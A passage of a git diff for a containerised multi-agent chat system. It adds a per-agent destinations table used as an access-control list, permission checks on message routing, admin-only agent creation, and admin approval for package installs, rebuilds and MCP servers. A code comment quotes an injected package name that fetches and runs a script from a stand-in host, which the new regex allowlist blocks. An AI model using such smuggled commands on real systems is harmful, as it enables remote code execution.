block. Both are scratchpad. ``` Compiled all three reports, ready to summarize. -Here are the key findings from the research... +Here are the key findings from the research… ``` -Text inside `` tags is logged but not sent to the user. If you've already sent the key information via `send_message`, you can wrap the recap in `` to avoid sending it again. - ### Sub-agents and teammates When working as a sub-agent or teammate, only use `send_message` if instructed to by the main agent. diff --git a/setup/register.ts b/setup/register.ts index 8d018a4d7..e41f3783f 100644 --- a/setup/register.ts +++ b/setup/register.ts @@ -11,6 +11,11 @@ import { DATA_DIR } from '../src/config.js'; import { initDb } from '../src/db/connection.js'; import { runMigrations } from '../src/db/migrations/index.js'; import { createAgentGroup, getAgentGroupByFolder } from '../src/db/agent-groups.js'; +import { + createDestination, + getDestinationByName, + normalizeName, +} from '../src/db/agent-destinations.js'; import { createMessagingGroup, createMessagingGroupAgent, @@ -41,6 +46,8 @@ interface RegisterArgs { assistantName: string; /** Session mode: 'shared' (one session per channel) or 'per-thread' */ sessionMode: string; + /** Optional local name the agent uses for this channel (defaults to normalized messaging group name) */ + localName: string | null; } function parseArgs(args: string[]): RegisterArgs { @@ -54,6 +61,7 @@ function parseArgs(args: string[]): RegisterArgs { isMain: false, assistantName: 'Andy', sessionMode: 'shared', + localName: null, }; for (let i = 0; i < args.length; i++) { @@ -87,6 +95,9 @@ function parseArgs(args: string[]): RegisterArgs { case '--session-mode': result.sessionMode = args[++i] || 'shared'; break; + case '--local-name': + result.localName = args[++i] || null; + break; } } @@ -168,7 +179,7 @@ export async function run(args: string[]): Promise { log.info('Created messaging group', { id: mgId, channel: parsed.channel, platformId: parsed.platformId }); } - // 3. Wire agent to messaging group + // 3. Wire agent to messaging group + create destination row for the agent's map let newlyWired = false; const existing = getMessagingGroupAgentByPair(messagingGroup.id, agentGroup.id); if (!existing) { @@ -190,7 +201,29 @@ export async function run(args: string[]): Promise { priority: parsed.isMain ? 10 : 0, created_at: new Date().toISOString(), }); - log.info('Wired agent to messaging group', { mgaId, agentGroup: agentGroup.id, messagingGroup: messagingGroup.id }); + + // Create destination row so the agent can address this channel by name. + // Auto-suffix on collision within this agent's namespace. + const baseLocalName = normalizeName(parsed.localName || parsed.name); + let localName = baseLocalName; + let suffix = 2; + while (getDestinationByName(agentGroup.id, localName)) { + localName = `${baseLocalName}-${suffix}`; + suffix++; + } + createDestination({ + agent_group_id: agentGroup.id, + local_name: localName, + target_type: 'channel', + target_id: messagingGroup.id, + created_at: new Date().toISOString(), + }); + log.info('Wired agent to messaging group', { + mgaId, + agentGroup: agentGroup.id, + messagingGroup: messagingGroup.id, + localName, + }); } // 4. Send onboarding message — only on first wiring, not re-registration diff --git a/src/container-runner.ts b/src/container-runner.ts index 743b7ce34..ac4d2cf14 100644 --- a/src/container-runner.ts +++ b/src/container-runner.ts @@ -15,7 +15,13 @@ import { getAgentGroup } from './db/agent-groups.js'; import { getMessagingGroup } from './db/messaging-groups.js'; import { log } from './log.js'; import { validateAdditionalMounts } from './mount-security.js'; -import { markContainerIdle, markContainerRunning, markContainerStopped, sessionDir } from './session-manager.js'; +import { + markContainerIdle, + markContainerRunning, + markContainerStopped, + sessionDir, + writeDestinationsFile, +} from './session-manager.js'; import type { AgentGroup, Session } from './types.js'; const onecli = new OneCLI({ url: ONECLI_URL }); @@ -53,6 +59,9 @@ export async function wakeContainer(session: Session): Promise { return; } + // Refresh the destination map file so any admin changes take effect on wake + writeDestinationsFile(agentGroup.id, session.id); + const mounts = buildMounts(agentGroup, session); const containerName = `nanoclaw-v2-${agentGroup.folder}-${Date.now()}`; const agentIdentifier = agentGroup.is_admin ? undefined : agentGroup.folder.toLowerCase().replace(/_/g, '-'); @@ -235,6 +244,9 @@ async function buildContainerArgs( if (agentGroup.name) { args.push('-e', `NANOCLAW_ASSISTANT_NAME=${agentGroup.name}`); } + args.push('-e', `NANOCLAW_AGENT_GROUP_ID=${agentGroup.id}`); + args.push('-e', `NANOCLAW_AGENT_GROUP_NAME=${agentGroup.name}`); + args.push('-e', `NANOCLAW_IS_ADMIN=${agentGroup.is_admin ? '1' : '0'}`); // OneCLI gateway — injects HTTPS_PROXY + certs so container API calls // are routed through the agent vault for credential injection. diff --git a/src/db/agent-destinations.ts b/src/db/agent-destinations.ts new file mode 100644 index 000000000..2d319deec --- /dev/null +++ b/src/db/agent-destinations.ts @@ -0,0 +1,74 @@ +/** + * Per-agent destination map + ACL. + * + * Each row means: agent `agent_group_id` is allowed to send messages to + * target (`target_type`, `target_id`), and refers to it locally as `local_name`. + * + * Names are local to each source agent — they exist only inside that agent's + * namespace. The host uses this table both for routing (resolve name → ID) + * and for permission checks (row exists ⇒ authorized). + */ +import type { AgentDestination } from '../types.js'; +import { getDb } from './connection.js'; + +export function createDestination(row: AgentDestination): void { + getDb() + .prepare( + `INSERT INTO agent_destinations (agent_group_id, local_name, target_type, target_id, created_at) + VALUES (@agent_group_id, @local_name, @target_type, @target_id, @created_at)`, + ) + .run(row); +} + +export function getDestinations(agentGroupId: string): AgentDestination[] { + return getDb() + .prepare('SELECT * FROM agent_destinations WHERE agent_group_id = ?') + .all(agentGroupId) as AgentDestination[]; +} + +export function getDestinationByName(agentGroupId: string, localName: string): AgentDestination | undefined { + return getDb() + .prepare('SELECT * FROM agent_destinations WHERE agent_group_id = ? AND local_name = ?') + .get(agentGroupId, localName) as AgentDestination | undefined; +} + +/** Reverse lookup: what does this agent call the given target? */ +export function getDestinationByTarget( + agentGroupId: string, + targetType: 'channel' | 'agent', + targetId: string, +): AgentDestination | undefined { + return getDb() + .prepare( + 'SELECT * FROM agent_destinations WHERE agent_group_id = ? AND target_type = ? AND target_id = ?', + ) + .get(agentGroupId, targetType, targetId) as AgentDestination | undefined; +} + +/** Permission check: can this agent send to this target? */ +export function hasDestination( + agentGroupId: string, + targetType: 'channel' | 'agent', + targetId: string, +): boolean { + const row = getDb() + .prepare( + 'SELECT 1 FROM agent_destinations WHERE agent_group_id = ? AND target_type = ? AND target_id = ? LIMIT 1', + ) + .get(agentGroupId, targetType, targetId); + return !!row; +} + +export function deleteDestination(agentGroupId: string, localName: string): void { + getDb().prepare('DELETE FROM agent_destinations WHERE agent_group_id = ? AND local_name = ?').run(agentGroupId, localName); +} + +/** Normalize a human-readable name into a lowercase, dash-separated identifier. */ +export function normalizeName(name: string): string { + return ( + name + .toLowerCase() + .replace(/[^a-z0-9]+/g, '-') + .replace(/^-+|-+$/g, '') || 'unnamed' + ); +} diff --git a/src/db/db-v2.test.ts b/src/db/db-v2.test.ts index 81cd68e58..9fdbb4055 100644 --- a/src/db/db-v2.test.ts +++ b/src/db/db-v2.test.ts @@ -62,7 +62,7 @@ describe('migrations', () => { const db = initTestDb(); runMigrations(db); const row = db.prepare('SELECT MAX(version) as v FROM schema_version').get() as { v: number }; - expect(row.v).toBe(3); + expect(row.v).toBe(4); }); }); diff --git a/src/db/migrations/004-agent-destinations.ts b/src/db/migrations/004-agent-destinations.ts new file mode 100644 index 000000000..503e97ed8 --- /dev/null +++ b/src/db/migrations/004-agent-destinations.ts @@ -0,0 +1,81 @@ +import type Database from 'better-sqlite3'; + +import type { Migration } from './index.js'; + +/** + * Agent destinations: per-agent named map of allowed message targets. + * + * This table is BOTH the routing map and the ACL. A row exists iff the + * source agent is permitted to send to the target. No row = unauthorized. + * + * target_type: 'channel' references messaging_groups(id) + * target_type: 'agent' references agent_groups(id) + * + * Names are scoped per source agent — worker-1 may call the admin "parent" + * while admin calls the child "worker-1". The (agent_group_id, local_name) + * PK enforces uniqueness within a single agent's namespace only. + */ +export const migration004: Migration = { + version: 4, + name: 'agent-destinations', + up(db: Database.Database) { + db.exec(` + CREATE TABLE agent_destinations ( + agent_group_id TEXT NOT NULL REFERENCES agent_groups(id), + local_name TEXT NOT NULL, + target_type TEXT NOT NULL, + target_id TEXT NOT NULL, + created_at TEXT NOT NULL, + PRIMARY KEY (agent_group_id, local_name) + ); + CREATE INDEX idx_agent_dest_target ON agent_destinations(target_type, target_id); + `); + + // Backfill from existing messaging_group_agents wirings. + // For each wired (agent, messaging_group), create a destination row + // using the messaging group's name (normalized) as the local name. + // Collisions get a -2, -3 suffix within each agent's namespace. + const rows = db + .prepare( + `SELECT mga.agent_group_id, mga.messaging_group_id, mg.channel_type, mg.name + FROM messaging_group_agents mga + JOIN messaging_groups mg ON mg.id = mga.messaging_group_id`, + ) + .all() as Array<{ + agent_group_id: string; + messaging_group_id: string; + channel_type: string; + name: string | null; + }>; + + const takenByAgent = new Map>(); + const insert = db.prepare( + `INSERT INTO agent_destinations (agent_group_id, local_name, target_type, target_id, created_at) + VALUES (?, ?, 'channel', ?, ?)`, + ); + const now = new Date().toISOString(); + + for (const row of rows) { + const base = normalizeName(row.name || `${row.channel_type}-${row.messaging_group_id.slice(0, 8)}`); + const taken = takenByAgent.get(row.agent_group_id) ?? new Set(); + let localName = base; + let suffix = 2; + while (taken.has(localName)) { + localName = `${base}-${suffix}`; + suffix++; + } + taken.add(localName); + takenByAgent.set(row.agent_group_id, taken); + insert.run(row.agent_group_id, localName, row.messaging_group_id, now); + } + }, +}; + +function normalizeName(name: string): string { + return ( + name + .toLowerCase() + .replace(/[^a-z0-9]+/g, '-') + .replace(/^-+|-+$/g, '') || 'unnamed' + ); +} diff --git a/src/db/migrations/index.ts b/src/db/migrations/index.ts index 3a51c5fb6..c2103596b 100644 --- a/src/db/migrations/index.ts +++ b/src/db/migrations/index.ts @@ -4,6 +4,7 @@ import { log } from '../../log.js'; import { migration001 } from './001-initial.js'; import { migration002 } from './002-chat-sdk-state.js'; import { migration003 } from './003-pending-approvals.js'; +import { migration004 } from './004-agent-destinations.js'; export interface Migration { version: number; @@ -11,7 +12,7 @@ export interface Migration { up: (db: Database.Database) => void; } -const migrations: Migration[] = [migration001, migration002, migration003]; +const migrations: Migration[] = [migration001, migration002, migration003, migration004]; export function runMigrations(db: Database.Database): void { db.exec(` diff --git a/src/delivery.ts b/src/delivery.ts index 047d696f1..144d21317 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -19,8 +19,20 @@ import { getSession, createPendingApproval, } from './db/sessions.js'; -import { getAgentGroup, getAdminAgentGroup, createAgentGroup, updateAgentGroup } from './db/agent-groups.js'; -import { getMessagingGroupsByAgentGroup } from './db/messaging-groups.js'; +import { + getAgentGroup, + getAdminAgentGroup, + createAgentGroup, + updateAgentGroup, + getAgentGroupByFolder, +} from './db/agent-groups.js'; +import { + createDestination, + getDestinationByName, + hasDestination, + normalizeName, +} from './db/agent-destinations.js'; +import { getMessagingGroupByPlatform, getMessagingGroupsByAgentGroup } from './db/messaging-groups.js'; import { log } from './log.js'; import { openInboundDb, @@ -62,6 +74,83 @@ export function setDeliveryAdapter(adapter: ChannelDeliveryAdapter): void { deliveryAdapter = adapter; } +/** + * Deliver a system notification to an agent as a regular chat message. + * Used for fire-and-forget responses from host actions (create_agent result, + * approval outcomes, etc.). The agent sees it as an inbound chat message + * with sender="system". + */ +function notifyAgent(session: Session, text: string): void { + writeSessionMessage(session.agent_group_id, session.id, { + id: `sys-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, + kind: 'chat', + timestamp: new Date().toISOString(), + platformId: session.agent_group_id, + channelType: 'agent', + threadId: null, + content: JSON.stringify({ text, sender: 'system', senderId: 'system' }), + }); + // Wake the container so it picks up the notification promptly + const fresh = getSession(session.id); + if (fresh) { + wakeContainer(fresh).catch((err) => log.error('Failed to wake container after notification', { err })); + } +} + +/** + * Send an approval request to the admin channel and record a pending_approval row. + * The admin's button click routes via the existing ncq: card infrastructure to + * handleApprovalResponse in index.ts, which completes the action. + */ +async function requestApproval( + session: Session, + agentName: string, + action: 'install_packages' | 'request_rebuild' | 'add_mcp_server', + payload: Record, + question: string, +): Promise { + const adminGroup = getAdminAgentGroup(); + const adminMGs = adminGroup ? getMessagingGroupsByAgentGroup(adminGroup.id) : []; + if (adminMGs.length === 0) { + notifyAgent(session, `${action} failed: no admin channel configured for approvals.`); + return; + } + const adminChannel = adminMGs[0]; + + const approvalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + createPendingApproval({ + approval_id: approvalId, + session_id: session.id, + request_id: approvalId, // fire-and-forget: no separate request id to correlate + action, + payload: JSON.stringify(payload), + created_at: new Date().toISOString(), + }); + + if (deliveryAdapter) { + try { + await deliveryAdapter.deliver( + adminChannel.channel_type, + adminChannel.platform_id, + null, + 'chat-sdk', + JSON.stringify({ + type: 'ask_question', + questionId: approvalId, + question, + options: ['Approve', 'Reject'], + }), + ); + } catch (err) { + log.error('Failed to deliver approval card', { action, approvalId, err }); + notifyAgent(session, `${action} failed: could not deliver approval request to admin.`); + return; + } + } + + log.info('Approval requested', { action, approvalId, agentName }); +} + /** Show typing indicator on a channel. Called when a message is routed to the agent. */ export async function triggerTyping(channelType: string, platformId: string, threadId: string | null): Promise { try { @@ -227,12 +316,27 @@ async function deliverMessage( return; } - // Agent-to-agent — route to target session + // Agent-to-agent — route to target session (with permission check) if (msg.channel_type === 'agent') { await routeAgentMessage(msg, session); return; } + // Permission check: the source agent must have a destination row for this target. + // Defense in depth — the container already validates via its local map, but the + // host's central DB is the authoritative ACL. + if (msg.channel_type && msg.platform_id) { + const mg = getMessagingGroupByPlatform(msg.channel_type, msg.platform_id); + if (!mg || !hasDestination(session.agent_group_id, 'channel', mg.id)) { + log.warn('Unauthorized channel destination — dropping message', { + sourceAgentGroup: session.agent_group_id, + channelType: msg.channel_type, + platformId: msg.platform_id, + }); + return; + } + } + // Track pending questions for ask_user_question flow if (content.type === 'ask_question' && content.questionId) { createPendingQuestion({ @@ -293,7 +397,13 @@ async function deliverMessage( return platformMsgId; } -/** Route an agent-to-agent message to the target agent's session. */ +/** + * Route an agent-to-agent message to the target agent's session. + * + * Permission is enforced via agent_destinations — the source agent must have + * a row for the target. Content is copied verbatim; the target's formatter + * will look up the source agent in its own local map to display a name. + */ async function routeAgentMessage( msg: { id: string; platform_id: string | null; content: string }, sourceSession: Session, @@ -304,35 +414,29 @@ async function routeAgentMessage( return; } - const targetGroup = getAgentGroup(targetAgentGroupId); - if (!targetGroup) { + if (!hasDestination(sourceSession.agent_group_id, 'agent', targetAgentGroupId)) { + log.warn('Unauthorized agent-to-agent message — dropping', { + source: sourceSession.agent_group_id, + target: targetAgentGroupId, + }); + return; + } + + if (!getAgentGroup(targetAgentGroupId)) { log.warn('Target agent group not found', { id: msg.id, targetAgentGroupId }); return; } - const sourceGroup = getAgentGroup(sourceSession.agent_group_id); - const sourceAgentName = sourceGroup?.name || sourceSession.agent_group_id; - - // Find or create a session for the target agent const { session: targetSession } = resolveSession(targetAgentGroupId, null, null, 'agent-shared'); - // Enrich content with sender info - const content = JSON.parse(msg.content); - const enrichedContent = JSON.stringify({ - text: content.text, - sender: sourceAgentName, - senderId: sourceSession.agent_group_id, - }); - - const messageId = `agent-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; writeSessionMessage(targetAgentGroupId, targetSession.id, { - id: messageId, + id: `a2a-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, kind: 'chat', timestamp: new Date().toISOString(), platformId: sourceSession.agent_group_id, channelType: 'agent', threadId: null, - content: enrichedContent, + content: msg.content, }); log.info('Agent message routed', { @@ -341,10 +445,8 @@ async function routeAgentMessage( targetSession: targetSession.id, }); - const freshSession = getSession(targetSession.id); - if (freshSession) { - await wakeContainer(freshSession); - } + const fresh = getSession(targetSession.id); + if (fresh) await wakeContainer(fresh); } /** Ensure the delivered table has new columns (migration for existing sessions). */ @@ -436,205 +538,176 @@ async function handleSystemAction( case 'create_agent': { const requestId = content.requestId as string; const name = content.name as string; - let folder = - (content.folder as string) || - name - .toLowerCase() - .replace(/[^a-z0-9_-]/g, '_') - .replace(/_+/g, '_'); const instructions = content.instructions as string | null; - try { - // Avoid duplicate folders - const { getAgentGroupByFolder } = await import('./db/agent-groups.js'); - if (getAgentGroupByFolder(folder)) { - folder = `${folder}_${Date.now()}`; - } - - const agentGroupId = `ag-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; - - createAgentGroup({ - id: agentGroupId, - name, - folder, - is_admin: 0, - agent_provider: null, - container_config: null, - created_at: new Date().toISOString(), - }); - - const groupPath = path.join(GROUPS_DIR, folder); - fs.mkdirSync(groupPath, { recursive: true }); - - if (instructions) { - fs.writeFileSync(path.join(groupPath, 'CLAUDE.md'), instructions); - } - - writeSystemResponse(session.agent_group_id, session.id, requestId, 'success', { - agentGroupId, - name, - folder, - }); - - log.info('Agent group created via system action', { agentGroupId, name, folder }); - } catch (e) { - writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { - error: e instanceof Error ? e.message : String(e), - }); + const sourceGroup = getAgentGroup(session.agent_group_id); + if (!sourceGroup?.is_admin) { + // Notify the agent via a chat message (fire-and-forget pattern) + notifyAgent(session, `Your create_agent request for "${name}" was rejected: admin permission required.`); + log.warn('create_agent denied (not admin)', { sessionAgentGroup: session.agent_group_id, name }); + break; } + + const localName = normalizeName(name); + + // Collision in the creator's destination namespace + if (getDestinationByName(sourceGroup.id, localName)) { + notifyAgent(session, `Cannot create agent "${name}": you already have a destination named "${localName}".`); + break; + } + + // Derive a safe folder name, deduplicated globally across agent_groups.folder + let folder = localName; + let suffix = 2; + while (getAgentGroupByFolder(folder)) { + folder = `${localName}-${suffix}`; + suffix++; + } + + const groupPath = path.join(GROUPS_DIR, folder); + const resolvedPath = path.resolve(groupPath); + const resolvedGroupsDir = path.resolve(GROUPS_DIR); + if (!resolvedPath.startsWith(resolvedGroupsDir + path.sep)) { + notifyAgent(session, `Cannot create agent "${name}": invalid folder path.`); + log.error('create_agent path traversal attempt', { folder, resolvedPath }); + break; + } + + const agentGroupId = `ag-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + const now = new Date().toISOString(); + + createAgentGroup({ + id: agentGroupId, + name, + folder, + is_admin: 0, + agent_provider: null, + container_config: null, + created_at: now, + }); + + fs.mkdirSync(groupPath, { recursive: true }); + if (instructions) { + fs.writeFileSync(path.join(groupPath, 'CLAUDE.md'), instructions); + } + + // Insert bidirectional destination rows (= ACL grants). + // Creator refers to child by the name it chose; child refers to creator as "parent". + createDestination({ + agent_group_id: sourceGroup.id, + local_name: localName, + target_type: 'agent', + target_id: agentGroupId, + created_at: now, + }); + // Handle the unlikely case where the child already has a "parent" destination + // (shouldn't happen for a brand-new agent, but be safe). + let parentName = 'parent'; + let parentSuffix = 2; + while (getDestinationByName(agentGroupId, parentName)) { + parentName = `parent-${parentSuffix}`; + parentSuffix++; + } + createDestination({ + agent_group_id: agentGroupId, + local_name: parentName, + target_type: 'agent', + target_id: sourceGroup.id, + created_at: now, + }); + + // Fire-and-forget notification back to the creator + notifyAgent(session, `Agent "${localName}" created. You can now message it with ....`); + log.info('Agent group created', { agentGroupId, name, localName, folder, parent: sourceGroup.id }); + // Note: requestId is unused — this is fire-and-forget, not request/response. + void requestId; break; } case 'add_mcp_server': { - const requestId = content.requestId as string; + const agentGroup = getAgentGroup(session.agent_group_id); + if (!agentGroup) { + notifyAgent(session, 'add_mcp_server failed: agent group not found.'); + break; + } const serverName = content.name as string; const command = content.command as string; - const serverArgs = content.args as string[]; - const serverEnv = content.env as Record; - - try { - const agentGroup = getAgentGroup(session.agent_group_id); - if (!agentGroup) throw new Error('Agent group not found'); - - const containerConfig = agentGroup.container_config ? JSON.parse(agentGroup.container_config) : {}; - if (!containerConfig.mcpServers) containerConfig.mcpServers = {}; - containerConfig.mcpServers[serverName] = { command, args: serverArgs || [], env: serverEnv || {} }; - - updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) }); - - writeSystemResponse(session.agent_group_id, session.id, requestId, 'success', { - message: `MCP server "${serverName}" added. Will take effect on next container restart.`, - }); - - log.info('MCP server added', { agentGroupId: session.agent_group_id, name: serverName }); - } catch (e) { - writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { - error: e instanceof Error ? e.message : String(e), - }); + if (!serverName || !command) { + notifyAgent(session, 'add_mcp_server failed: name and command are required.'); + break; } + await requestApproval(session, agentGroup.name, 'add_mcp_server', { + name: serverName, + command, + args: (content.args as string[]) || [], + env: (content.env as Record) || {}, + }, `Agent "${agentGroup.name}" requests a new MCP server:\n${serverName} (${command})`); break; } case 'install_packages': { - const requestId = content.requestId as string; - const apt = (content.apt as string[]) || []; - const npm = (content.npm as string[]) || []; - const reason = content.reason as string; - const agentGroup = getAgentGroup(session.agent_group_id); if (!agentGroup) { - writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { error: 'Agent group not found' }); + notifyAgent(session, 'install_packages failed: agent group not found.'); break; } - // Find admin channel for approval card - const adminGroup = getAdminAgentGroup(); - let approvalChannelType: string | null = null; - let approvalPlatformId: string | null = null; + const apt = (content.apt as string[]) || []; + const npm = (content.npm as string[]) || []; + const reason = (content.reason as string) || ''; - if (adminGroup) { - const adminMGs = getMessagingGroupsByAgentGroup(adminGroup.id); - if (adminMGs.length > 0) { - approvalChannelType = adminMGs[0].channel_type; - approvalPlatformId = adminMGs[0].platform_id; - } + // Host-side sanitization (defense in depth — container should validate first). + // Strict allowlist: Debian/npm naming rules only. Blocks shell injection via + // package names like `vim; curl evil.com | sh`. + const APT_RE = /^[a-z0-9][a-z0-9._+-]*$/; + const NPM_RE = /^(@[a-z0-9][a-z0-9._-]*\/)?[a-z0-9][a-z0-9._-]*$/; + const MAX_PACKAGES = 20; + if (apt.length + npm.length === 0) { + notifyAgent(session, 'install_packages failed: at least one apt or npm package is required.'); + break; } - - if (!approvalChannelType || !approvalPlatformId) { - writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { - error: 'No admin channel found for approval', - }); + if (apt.length + npm.length > MAX_PACKAGES) { + notifyAgent(session, `install_packages failed: max ${MAX_PACKAGES} packages per request.`); + break; + } + const invalidApt = apt.find((p) => !APT_RE.test(p)); + if (invalidApt) { + notifyAgent(session, `install_packages failed: invalid apt package name "${invalidApt}".`); + log.warn('install_packages: invalid apt package rejected', { pkg: invalidApt }); + break; + } + const invalidNpm = npm.find((p) => !NPM_RE.test(p)); + if (invalidNpm) { + notifyAgent(session, `install_packages failed: invalid npm package name "${invalidNpm}".`); + log.warn('install_packages: invalid npm package rejected', { pkg: invalidNpm }); break; } - const approvalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; - - createPendingApproval({ - approval_id: approvalId, - session_id: session.id, - request_id: requestId, - action: 'install_packages', - payload: JSON.stringify({ apt, npm, reason }), - created_at: new Date().toISOString(), - }); - - const packageList = [...apt.map((p: string) => `apt: ${p}`), ...npm.map((p: string) => `npm: ${p}`)].join(', '); - if (deliveryAdapter) { - await deliveryAdapter.deliver( - approvalChannelType, - approvalPlatformId, - null, - 'chat-sdk', - JSON.stringify({ - type: 'ask_question', - questionId: approvalId, - question: `Agent "${agentGroup.name}" requests package installation:\n${packageList}${reason ? `\nReason: ${reason}` : ''}`, - options: ['Approve', 'Reject'], - }), - ); - } - - log.info('Package install approval requested', { approvalId, agentGroup: agentGroup.name, apt, npm }); + const packageList = [...apt.map((p) => `apt: ${p}`), ...npm.map((p) => `npm: ${p}`)].join(', '); + await requestApproval( + session, + agentGroup.name, + 'install_packages', + { apt, npm, reason }, + `Agent "${agentGroup.name}" requests package installation:\n${packageList}${reason ? `\nReason: ${reason}` : ''}`, + ); break; } case 'request_rebuild': { - const requestId = content.requestId as string; - const reason = content.reason as string; - const agentGroup = getAgentGroup(session.agent_group_id); if (!agentGroup) { - writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { error: 'Agent group not found' }); + notifyAgent(session, 'request_rebuild failed: agent group not found.'); break; } - - // Find admin channel for approval card - const adminGroup2 = getAdminAgentGroup(); - let rebuildChannelType: string | null = null; - let rebuildPlatformId: string | null = null; - - if (adminGroup2) { - const adminMGs2 = getMessagingGroupsByAgentGroup(adminGroup2.id); - if (adminMGs2.length > 0) { - rebuildChannelType = adminMGs2[0].channel_type; - rebuildPlatformId = adminMGs2[0].platform_id; - } - } - - if (!rebuildChannelType || !rebuildPlatformId) { - writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { - error: 'No admin channel found for approval', - }); - break; - } - - const rebuildApprovalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; - - createPendingApproval({ - approval_id: rebuildApprovalId, - session_id: session.id, - request_id: requestId, - action: 'request_rebuild', - payload: JSON.stringify({ reason }), - created_at: new Date().toISOString(), - }); - - if (deliveryAdapter) { - await deliveryAdapter.deliver( - rebuildChannelType, - rebuildPlatformId, - null, - 'chat-sdk', - JSON.stringify({ - type: 'ask_question', - questionId: rebuildApprovalId, - question: `Agent "${agentGroup.name}" requests a container rebuild.${reason ? `\nReason: ${reason}` : ''}`, - options: ['Approve', 'Reject'], - }), - ); - } - - log.info('Container rebuild approval requested', { approvalId: rebuildApprovalId, agentGroup: agentGroup.name }); + const reason = (content.reason as string) || ''; + await requestApproval( + session, + agentGroup.name, + 'request_rebuild', + { reason }, + `Agent "${agentGroup.name}" requests a container rebuild.${reason ? `\nReason: ${reason}` : ''}`, + ); break; } diff --git a/src/index.ts b/src/index.ts index 29bb3e2e2..e2378341a 100644 --- a/src/index.ts +++ b/src/index.ts @@ -22,8 +22,8 @@ import { getSession, } from './db/sessions.js'; import { getAgentGroup, updateAgentGroup } from './db/agent-groups.js'; -import { writeSessionMessage, writeSystemResponse } from './session-manager.js'; -import { wakeContainer, buildAgentGroupImage } from './container-runner.js'; +import { writeSessionMessage } from './session-manager.js'; +import { wakeContainer, buildAgentGroupImage, killContainer } from './container-runner.js'; import { log } from './log.js'; // Channel barrel — each enabled channel self-registers on import. @@ -177,7 +177,12 @@ async function handleQuestionResponse(questionId: string, selectedOption: string await wakeContainer(session); } -/** Handle an admin's response to an approval card. */ +/** + * Handle an admin's response to an approval card. + * Fire-and-forget model: the agent doesn't poll for this — we write a chat + * notification to its session DB, and optionally kill the container so the + * next wake picks up new config/images. + */ async function handleApprovalResponse( approval: import('./types.js').PendingApproval, selectedOption: string, @@ -189,52 +194,69 @@ async function handleApprovalResponse( return; } - if (selectedOption === 'Approve') { - const payload = JSON.parse(approval.payload); - - if (approval.action === 'install_packages') { - const agentGroup = getAgentGroup(session.agent_group_id); - const containerConfig = agentGroup?.container_config ? JSON.parse(agentGroup.container_config) : {}; - if (!containerConfig.packages) containerConfig.packages = { apt: [], npm: [] }; - if (payload.apt) containerConfig.packages.apt.push(...payload.apt); - if (payload.npm) containerConfig.packages.npm.push(...payload.npm); - - updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) }); - - writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'success', { - message: 'Packages approved. Run request_rebuild to apply.', - approved: { apt: payload.apt, npm: payload.npm }, - }); - - log.info('Package install approved', { approvalId: approval.approval_id, userId }); - } else if (approval.action === 'request_rebuild') { - try { - await buildAgentGroupImage(session.agent_group_id); - writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'success', { - message: 'Container image rebuilt. Changes will take effect on next container start.', - }); - log.info('Container rebuild approved and completed', { approvalId: approval.approval_id, userId }); - } catch (e) { - writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'error', { - error: `Rebuild failed: ${e instanceof Error ? e.message : String(e)}`, - }); - log.error('Container rebuild failed', { approvalId: approval.approval_id, err: e }); - } - } - } else { - // Rejected - writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'error', { - error: `Request rejected by admin (${userId})`, + const notify = (text: string): void => { + writeSessionMessage(session.agent_group_id, session.id, { + id: `appr-note-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, + kind: 'chat', + timestamp: new Date().toISOString(), + platformId: session.agent_group_id, + channelType: 'agent', + threadId: null, + content: JSON.stringify({ text, sender: 'system', senderId: 'system' }), }); + }; + + if (selectedOption !== 'Approve') { + notify(`Your ${approval.action} request was rejected by admin.`); log.info('Approval rejected', { approvalId: approval.approval_id, action: approval.action, userId }); + deletePendingApproval(approval.approval_id); + await wakeContainer(session); + return; + } + + const payload = JSON.parse(approval.payload); + + if (approval.action === 'install_packages') { + const agentGroup = getAgentGroup(session.agent_group_id); + const containerConfig = agentGroup?.container_config ? JSON.parse(agentGroup.container_config) : {}; + if (!containerConfig.packages) containerConfig.packages = { apt: [], npm: [] }; + if (payload.apt) containerConfig.packages.apt.push(...payload.apt); + if (payload.npm) containerConfig.packages.npm.push(...payload.npm); + updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) }); + + const pkgs = [...(payload.apt || []), ...(payload.npm || [])].join(', '); + notify(`Packages approved (${pkgs}). Call request_rebuild to apply them.`); + log.info('Package install approved', { approvalId: approval.approval_id, userId }); + } else if (approval.action === 'request_rebuild') { + try { + await buildAgentGroupImage(session.agent_group_id); + // Kill the container so the next wake uses the new image + killContainer(session.id, 'rebuild applied'); + notify('Container image rebuilt. Your container will restart with the new image on the next message.'); + log.info('Container rebuild approved and completed', { approvalId: approval.approval_id, userId }); + } catch (e) { + notify(`Rebuild failed: ${e instanceof Error ? e.message : String(e)}`); + log.error('Container rebuild failed', { approvalId: approval.approval_id, err: e }); + } + } else if (approval.action === 'add_mcp_server') { + const agentGroup = getAgentGroup(session.agent_group_id); + const containerConfig = agentGroup?.container_config ? JSON.parse(agentGroup.container_config) : {}; + if (!containerConfig.mcpServers) containerConfig.mcpServers = {}; + containerConfig.mcpServers[payload.name] = { + command: payload.command, + args: payload.args || [], + env: payload.env || {}, + }; + updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) }); + + // Kill the container so next wake loads the new MCP server config + killContainer(session.id, 'mcp server added'); + notify(`MCP server "${payload.name}" added. Your container will restart with it on the next message.`); + log.info('MCP server add approved', { approvalId: approval.approval_id, userId }); } 